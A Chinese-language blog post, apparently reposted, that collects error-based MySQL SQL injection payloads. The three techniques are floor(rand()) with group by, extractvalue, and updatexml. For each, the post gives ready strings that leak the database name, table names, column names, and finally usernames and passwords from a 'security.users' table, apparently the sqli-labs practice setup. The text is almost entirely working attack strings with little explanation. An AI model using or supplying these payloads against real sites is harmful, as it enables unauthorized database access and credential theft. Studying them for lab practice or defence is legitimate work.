时间:2021-07-01 10:21:17 帮助过:27人阅读
这种前三步和正常的一样,但当页面无回显注入数据只显示SQL报错信息时候就可以尝试利用
公式
#库名 AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --+ #表名 AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(table_name)AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=‘security’ LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --+ # 列名 AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(column_name)AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_name = ‘users‘ and table_schema = ‘security‘ LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --+ #数据 #(这个构造数据只能一个一个爆出来,通过limit函数控制) AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(password) AS CHAR),0x7e)) FROM security.users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --+(这个构造数据只能一个一个爆出来,通过limit函数控制)
公式
#库名 ‘ and extractvalue(1, concat(0x5c, 1‘ and extractvalue(1, concat(0x5c,database()));--+
#表名 ‘ and extractvalue(1,concat(0x7e,(select group_concat( table_name) from information_schema.tables where table_schema=‘security‘),0x7e)) --+
#列名
‘ and extractvalue(1,concat(0x7e,(select group_concat( column_name) from information_schema.columns where table_name=‘users‘),0x7e)) --+
#字段值
‘ and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from security.users ),0x7e)) --+
公式
#库名
‘ and 1=(updatexml(1,concat(0x3a,(select database())),1)) --+
#表名
‘ and 1=(updatexml(1,concat(0x3a,(select group_concat( table_name) from information_schema.tables where table_schema=‘security‘)),1)) --+
#字段名
‘ and 1=(updatexml(1,concat(0x3a,(select group_concat( column_name) from information_schema.columns where table_name=‘users‘)),1)) --+
#字段值
‘ and 1=(updatexml(1,concat(0x3a,(select group_concat(id,username,password) from security.users )),1)) --+
常见的就这3种,其他的我目前没见过(可能太菜),后续遇见会再更新
https://blog.csdn.net/bangyan3903/article/details/101788019
https://blog.csdn.net/weixin_30852451/article/details/98668307
SQL报错常见的注入姿势
标签:表名 uil ast 链接 from security 写在前面 date font